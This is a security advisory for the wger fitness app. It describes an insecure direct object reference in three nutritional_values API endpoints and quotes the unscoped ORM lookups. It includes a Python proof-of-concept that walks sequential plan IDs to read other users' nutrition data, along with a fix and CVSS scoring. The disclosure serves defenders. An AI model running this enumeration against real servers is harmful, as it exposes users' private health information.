wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup

Description

Summary

Three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.

Details

DRF detail actions do not automatically apply queryset filtering — the action must call self.get_object() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:

wger/nutrition/api/views.py:

# line 301 — NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk)           # VULNERABLE — no user check

# line 356 — MealViewSet
meal = Meal.objects.get(pk=pk)                    # VULNERABLE

# line 403 — MealItemViewSet
meal_item = MealItem.objects.get(pk=pk)           # VULNERABLE

The correct pattern used in the same file at LogItemViewSet (line 438):

LogItem.objects.get(pk=pk, plan__user=self.request.user)  # CORRECT

Affected endpoints:

GET /api/v2/nutritionplan/{pk}/nutritional_values/
GET /api/v2/meal/{pk}/nutritional_values/
GET /api/v2/mealitem/{pk}/nutritional_values/

PoC

import requests

BASE = "http://localhost"
# Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER_TOKEN"}

# Read victim's nutrition plan — enumerate pk starting from 1
for pk in range(1, 100):
    r = requests.get(
        f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/",
        headers=headers
    )
    if r.status_code == 200:
        data = r.json()
        print(f"Plan {pk}: {data}")
        # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,
        #          fat, fat_saturated, fiber, sodium

No interaction from the victim required. Registration is open by default. PKs are sequential integers.

Impact

Any authenticated user can read other users' private dietary and health data:
- Daily caloric intake
- Protein, carbohydrate, fat, fiber, and sodium intake
- Full meal composition and ingredient quantities

This data is sensitive health information users expect to be private.

Fix: Replace direct ORM calls with self.get_object(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-02-26 22:15:51 UTC
Updated
2026-02-27 21:59:56 UTC
GitHub reviewed
2026-02-26 22:15:51 UTC
NVD published
2026-02-26 23:16:35 UTC

EPSS Score

Score Percentile
0.03% 9.96%

CVSS Scores

Base score Version Severity Vector
4.3 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:L)
Some sensitive info could get out, but not a total data dump.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-639 Authorization Bypass Through User-Controlled Key

Credits

  • ByamB4 (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip wger <= 2.1

References

cvelogic Threat Intelligence